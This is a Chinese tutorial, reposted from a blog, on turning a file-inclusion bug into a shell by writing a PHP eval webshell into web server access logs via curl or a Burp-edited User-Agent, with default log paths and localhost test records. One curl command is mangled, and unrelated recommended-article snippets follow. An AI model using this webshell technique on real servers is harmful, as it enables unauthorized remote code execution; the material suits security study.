一、包含日志文件漏洞利用概述
 
        当我们没有上传点,并且也没有url_allow_include功能时,我们就可以考虑包含服务器的日志文件。        利用思路也比较简单,当我们访问网站时,服务器的日志中都会记录我们的行为,当我们访问链接中包含PHP一句话木马时,也会被记录到日志中。二、漏洞利用条件
       (1) 日志的物理存放路径
       (2) 存在文件包含漏洞

 

(3) curl命令行url请求工具 或者 burpsuit代理;(避免url转码的存在)

(3) curl命令行url请求工具 或者 burpsuit代理;
三、 获取日志存放路径

一)日志默认路径

 

(1) apache+Linux日志默认路径

 

        /etc/httpd/logs/access_log

 

或者

               

        /var/log/httpd/access_log

 

(2) apache+win2003日志默认路径

 

        D:\xampp\apache\logs\access.log

        D:\xampp\apache\logs\error.log

 

(3) IIS6.0+win2003默认日志文件

 

        C:\WINDOWS\system32\Logfiles

 

(4) IIS7.0+win2003 默认日志文件

 

        %SystemDrive%\inetpub\logs\LogFiles

 

(5) nginx 日志文件

 
  /var/log/nginx/access.log

        日志文件在用户安装目录logs目录下

                以我的安装路径为例/usr/local/nginx,

                那我的日志目录就是在/usr/local/nginx/logs里

 

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

 

二)web中间件默认配置

 

(1) apache+linux 默认配置文件

 

        /etc/httpd/conf/httpd.conf

或者

         index.php?page=/etc/init.d/httpd

 

(2) IIS6.0+win2003 配置文件

 

        C:/Windows/system32/inetsrv/metabase.xml

 

(3) IIS7.0+WIN 配置文件

 

        C:\Windows\System32\inetsrv\config\applicationHost.config

        

四、实践测试记录       一) 工具准备       (1) curl 命令行url访问工具或者       (2) burpsuit 代理工具
       二)使用浏览器直接构造一句话写入日志测试记录             (1)浏览器构造一句话报错       首先,我们直接使用浏览器来构造“php一句话报错请求信息”然服务自动记录此一句话信息到服务器日志文件中;       具体构造内容:  http://127.0.0.1/php/1.php?page=<?php @eval($_POST

123
);?>              
利用文件包含漏洞直接访问“服务日志文件”,发现文件包含漏洞并未对构造的php一句话进行正常解析,观察发现是构造的PHP一句话中的相关字符在记录进日志文件后,相关的字符被转码了,导致PHP解析失败,具体失败原因见“失败原因分析”
                ">"  ----> 小于号被转码为了 %3E
                " "   ----> 空格被转码为了 %20
                最后写入到日志文件中的一句话就变成了  %3C?php%20@eval($_POST[123]);?%3E。
         (4) 失败总结
                 浏览器直接构造的PHP一句话中特殊字符,会被浏览器自动进行URL转义,导致最终写入日志文件中的PHP一句话包含了这些特殊字符,而这些转码后的编码PHP并不能进行正常的解析。
           
      三)curl 构造一句话,写入日志文件测试记录
       (1) curl 构造一句话写入服务日志文件             构造语句:  D:\curl>curl -v "http://127.0.0.1/php/1.php?page=<?php @eval($_POST

123
);?>"?page=<?php @eval($_POST\[123\]);?>"
 
   
                
              curl构造一句话时,需要注意两点:
               1)请求的资源对象,需要被双引号包含,不然会报错;


            2) php一句话中的 综括号[ ]curl是特殊符号,需要进行转义

 
,不然curl使用时也会报错;
        (2)测试结果:成功
  
 
             
 
       (3) 成功原因
              Curl 命令行url资源请求,没有像浏览器对特殊字符进行url的转码,所以原封不动的将请求报错的php一句话信息写入了服务日志文件中。随后我们利用文件包含漏洞正常包含解析了本地服务器的日志文件中夹带的“php一句话木马”;
 
        四)burpsuit 代理抓包改包构造一句话写入日志文件
 
       (1) burpsuit 代理抓包,修改浏览器转码字符,写入正确的php一句话木马到服务器日志文件。
    (2) 修改user-agent 为 一句话木马,php代码,直接包含日志文件,即可getshell
 
 
       (2) 测试记录:成功
        通过文件包含直接访问服务日志文件,发现一句话被继续成功; 
 
 
       (3)成功原因
        使用burpsuit修改了浏览器访问转码的字符,事情安装我们一句话原本的格式记录进日志文件,并能被php正常解析。
 
转载于:https://www.cnblogs.com/my1e3/p/5854897.html

利用日志文件getshell的更多相关文章

  1. 包含日志文件getshell

    包含日志文件getshell     一.包含日志文件漏洞利用概述           当我们没有上传点,并且也没有url_allow_include功能时,我们就可以考虑包含服务器的日志文件.    ...

  2. 通达OA任意文件上传+文件包含GetShell/包含日志文件Getshell

    0x01 简介 通达OA采用基于WEB的企业计算,主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠.数据存取集中控制,避免了数据泄漏的可能.提供数据备份工具,保护系统数据安全.多级 ...

  3. 利用日志文件恢复MYSQL数据库

    利用日志文件恢复MYSQL数据库 650) this.width=650;" onclick='window.open("http://blog.51cto.com/viewpic ...

  4. Oracle重做日志文件

    一.联机重做日志的规划管理 1.联机重做日志 记录了数据的所有变化(DML,DDL或管理员对数据所作的结构性更改等) 提供恢复机制(对于意外删除或宕机利用日志文件实现数据恢复) 可以被分组管理  11 ...

  5. Oracle 联机重做日志文件(ONLINE LOG FILE)

    --========================================= -- Oracle 联机重做日志文件(ONLINE LOG FILE) --================== ...

  6. ORACLE体系结构一 (物理结构)- 数据文件、日志文件、控制文件和参数文件

    一.物理结构Oracle物理结构包含了数据文件.日志文件.控制文件和参数文件 1.数据文件每一个ORACLE数据库有一个或多个物理的数据文件(data file).一个数据库的数据文件包含全部数据库数 ...

  7. 【转】如何利用logrotate工具自动切分滚动中的日志文件

    FROM : http://www.2cto.com/os/201503/381812.html 在很多实际项目中,应用程序会持续写日志,如果程序代码中没有调用支持自动切分(如按filesize或da ...

  8. (Unity)Unity自定义Debug日志文件,利用VS生成Dll文件并使用Dotfuscated进展混淆,避免被反编译

    Unity自定义Debug日志文件,利用VS生成Dll文件并使用Dotfuscated进行混淆,避免被反编译. 1.打开VS,博主所用版本是Visual Studio 2013. 2.新建一个VC项目 ...

  9. Node.js系列文章:利用console输出日志文件

    通常我们在写Node.js程序时,都习惯使用console.log打印日志信息,但这也仅限于控制台输出,有时候我们需要将信息输出到日志文件中,实际上利用console也可以达到这个目的的,今天就来简单 ...

随机推荐

  1. Rust之路(0)

    Rust--一个2012年出现,2015年推出1.0版本的"年轻"语言.在 2016 至 2018 年的 stack overflow 开发人员调查中,被评比为 "最受欢 ...

  2. docker启动服务

    1 rabbitmq docker启动服务---------------rabbitmq 2 mysql docker启动服务---------------mysql 3 redis docker启动 ...

  3. go 协程阻塞

    func main() { wg.Add(2) go test1() go test2() wg.Wait() } func test1() { defer wg.Done() for i:=0;i& ...

  4. centos8使用hostnamectl管理主机名称

    一,查看hostnamectl所属的包: [root@yjweb ~]# whereis hostnamectl hostnamectl: /usr/bin/hostnamectl /usr/shar ...

  5. Qt中的Q_OBJECT作用, 以及信号槽

    自定义类时, 如果需要使用Qt框架提供的信号槽机制, 必须满足以下两个条件: 第一:该类必须是QObject类的子类或者间接子类. 其次:在定义类时, 首行必须加上宏Q_OBJECT class My ...

  6. win10 随记

    昨天买的台式电脑,今天到了.有点小激动(用了5年的i3笔记本可以稍微休息下了,哈哈) 拿到电脑,和朋友一块,插线...最终连接成功. 记录下过程中的乌龙操作,,, 1.连接好线路后,显示器没反应,(显 ...

  7. java 第一课 笔记

    java是一种解释型语言 Java提供了内存自动管理:不涉及指针:单继承. classpath:字节码文件的路径,执行java.exe时,会查找并解释*.class文件 set classpath=. ...

  8. 论文解读《Understanding the Effective Receptive Field in Deep Convolutional Neural Networks》

    感知野的概念尤为重要,对于理解和诊断CNN网络是否工作,其中一个神经元的感知野之外的图像并不会对神经元的值产生影响,所以去确保这个神经元覆盖的所有相关的图像区域是十分重要的:需要对输出图像的单个像素进 ...

  9. Linux服务器部署redis常见问题处理

    redis开启和禁用登陆密码校验 1. 开启登陆密码校验 在redis-cli命令行工具中执行如下命令: config set requirepass yourpassword2. 禁用登陆密码校验 ...

  10. 全球最火的程序员学习路线!没有之一!3天就在Github收获了接近1w点赞

    大家好,我是G哥,目前人在荆州办事,但是干货还是要安排上! 国外有一个爆火的开发人员学习路线,目前已经在 Github收获了 131 k+ star,Star 数量在 Github 所有仓库中排名第 ...